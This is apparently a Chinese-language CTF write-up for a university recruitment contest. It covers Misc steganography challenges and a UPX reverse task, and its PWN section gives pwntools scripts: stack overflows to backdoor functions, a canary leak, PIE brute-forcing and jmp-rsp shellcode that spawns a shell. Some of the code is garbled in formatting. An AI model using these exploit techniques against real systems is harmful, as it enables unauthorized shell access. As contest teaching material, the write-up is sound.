NEUQCSA2023-招新赛题解
得分情况总览

解题思路 && EXP
Misc
Login
下载下来是个gif文件,通过某些在线工具就可以拆成单个帧,然后发现是三个图片各有一部分flag,连接起来就行了
有点奇怪的二维码
下载后在winhex查看发现底部存在
hint:LSB
可知图片使用了LSB隐写,用stegsolve打开,查看后发现有一位的二维码不一样,扫描后就是flag
简单社工
根据标题可知是一道社工的题目,根据常识可知是大雁塔(也可以bdfs大慈恩寺),直接知道地名,然后,就get到flag了
PWN
backdoor
基础的x64栈溢出,溢出到backdoor完全OK
from pwn import*
p=remote('8.130.110.158',2102)
# gdb.attach(p)
# p=process('')
payload=b'a'* (0x120+8)+ p64(0x4011B6)
p.sendline(payload)
p.interactive()
Canary
checksec后发现开启了canary(根据题目名称也可以知道是canary)
打开IDA后发现有两次read,而且都可以进行栈溢出,且空间足够。由于开启了canary,所以必须先得到canary然后进行栈溢出。
因此,第一次read用来泄露canary,第二次用来ret到backdoor
众所周知,buf在第二个printf输出的时候,遇到\x00才会停止输出。因此我们可以输入足够长的垃圾数据,让他直接占到紧接着canary的位置(0x30-8个a),
这样就不会在canary之前有\x00,这样就可以在输出buf的时候连着canary一起输出。
获得了canary之后就像普通的栈溢出做就行了
from pwn import*
context.log_level='debug'
p=remote('8.130.110.158',2106)
# p=process('./6')
# gdb.attach(p,'''
# b * 0x401234
# ''')
payload1=b'a'*(0x30-8)
# p.sendline(payload)
p.sendlineafter('name?',payload1)
# p.recvuntil(b'a'*(0x30-8))
p.recvuntil(b'\x0a')
p.recvuntil(b'\x0a')
# canary=u64(p.recv(7).ljust(8,b'\x00'))
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
payload2=b'\x00'*(0x30-8)+p64(canary)+p64(1)+p64(0x4011d6)
p.sendlineafter('say?',payload2)
p.interactive()
ret3locked_backdoor
Q:what do you do if I lock the back door?
A: FBI!!! Open The F**King DOOR!!!
checksec后没有啥特别的。。。
拖进IDA后发现好扎眼的backdoor
读了代码发现正常栈溢出需要lock=0,于是尝试直接跳到command = “/bin/sh”;来执行
from pwn import*
# p=remote('8.130.110.158',2101)
context.log_level='debug'
p=process('./1')
elf=ELF('./1')
gdb.attach(p,'b *0x401273')
bd=0x4011E1
shell=0x402008
ret=0x40101a
retrdi=0x4012f3
a=0x401278
system=0x4040a8
payload=b'a'*0x38+p64(0x4011F7)
p.sendlineafter('However, what do you do if I lock the back door?\n',payload)
p.interactive()
但是gdb调试之后发现会卡在0x4011FE的指令上面。仔细看后,发现程序反正都是要读取, 而且它读取的地址是rbp-0x10.因此我们可以把shell放在rbp-0x10的地址上面。 具体实现,发现汇编指令里面有两条指令
0x4011e5 push rbp
0x4011e6 mov rbp, rsp
0x4011e9 sub rsp, 0x10
那么执行过这两条指令之后,rbp-0x10就是rsp。因此,我们可以把shell的地址放在栈里面的rbp上面,这样在shell会先在rsp上面,然后在被mov到rbp上面 之后程序就可以以我们自己的方式读入shell,而不依赖于lock的读入。 这样就可以正常执行了。。。 (不要忘记栈对齐哦~~~)
from pwn import*
# p=remote('8.130.110.158',2101)
context.log_level='debug'
p=process('./1')
elf=ELF('./1')
gdb.attach(p,'b *0x401273')
bd=0x4011E1
shell=0x402008
ret=0x40101a
retrdi=0x4012f3
a=0x401278
system=0x4040a8
payload=b'a'*0x30+p64(0x402008)+p64(0x401288)+p64(0x4011E1)
p.sendlineafter('However, what do you do if I lock the back door?\n',payload)
p.interactive()
one_hand
Q: God Liang can effortlessly conquer any pwn challenge with just one hand.Can you do it like him?
A: What will he do if I lock Liang’s backdoor?
checksec后发现开启了PIE,IDA分析后发现one_hand_read(),意思就是8个字节的空间中只读后面四个字节。
反正咱们爆破PIE只需要修改ret地址后两个字节进行跳转。这里一定不要用sendline,因为它在sendline之后就会自动添加\x0a
(除非你愿意用自己的寿命来换取人品,在换取欧气,然后在爆破doge)
# one hand
from pwn import*
import time
#
list1=[b'\x01',b'\x11',b'\x21',b'\x31',b'\x41',b'\x51',b'\x61',b'\x71',b'\x81',b'\x91',b'\xa1',b'\xb1',b'\xc1',b'\xd1',b'\xe1',b'\xf1']
i=0
while True:
i=i+1
print(i)
p=remote('8.130.110.158',2103)
# p=process('./4')
# gdb.attach(p)
context.log_level='debug'
bd=b'\xb1'+random.sample(list1,1)[0]
payload=b'\x11\x11\xad\xde'*11+bd
p.send(payload)
print(hex(payload[-1]))
print(hex(payload[-2]))
# p.interactive()
try:
a=p.recv(timeout=1)
except EOFError:
p.close()
continue
else:
print(a)
# p.send('cat flag')
p.interactive()
break
Jmp.Cliff
checksec之后发现啥东西都没开,IDA分析后发现栈溢出的空间充足
之后发现Jmp.Cliff专属的函数,然后里面有jmp rsp的指令,那么就可以考虑把shellcode的开始放在rsp的地方。
就这些。。。
from pwn import*
context(arch='amd64',os='linux')
# p=process('./7')
p=remote('8.130.110.158',2107)
# gdb.attach(p)
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x38,b'\x00')+p64(0x40119E)+shellcode
p.sendlineafter('down',payload)
p.interactive()
艹种子
刚开始拿到这个题目,根据以前所了解的,这个应该是堆的题目。但是我还没学,所以就到了后面才开始做。
直到发了hint:“malloc和free是一对函数。free释放掉的内存单元碎片会由堆管理器进行管理,待到程序malloc同样大小的堆块时,堆管理器会把这块内存拿来重新利用。”
拖进IDA先读一遍代码,之后就有了一些思路:
上来就用try_again()把wall给free了
然后在建一个种子,然后炸掉它
按理来说怎么建都应该没问题,反正炸了在建用的内存都一样。
然后直接hack——backdoor————————————BOOM!!!!!flag{艹}
3 1 2 1 4
Reverse
upx
没啥东西,upx脱壳后直接解密就行了
#include<=iostream> //tmd这里< code>识别的有点问题反正都能看出来是啥
#include<=cstring> //tmd这里< code>识别的有点问题反正都能看出来是啥
using namespace std;
string v4="just a upx";
char key[100]={0x0C, 0x19, 0x12, 0x13, 0x5B, 0x52, 0x18, 0x4D, 0x44, 0x49,
0x5B, 0x4D, 0x45, 0x59, 0x65, 0x52, 0x64, 0x36, 0x5D, 0x40,
0x2F, 0x37, 0x44, 0x59, 0x16, 0x57, 0x19, 0x36, 0x5D, 0x3E,
0x5B, 0x37, 0x40, 0x45, 0x14, 0x53, 0x62, 0x41, 0x34, 0x3E,
0x29, 0x8, 0x16};
int main(){
for ( int i = 0; i <= 0x29; ++i )
key[i] ^= v4[i % 0xA];
for(int i=0;i <= 0x29; ++i){
cout<=<=key[i]; //tmd这里< code>识别的有点问题反正都能看出来是啥
}
return 0;
}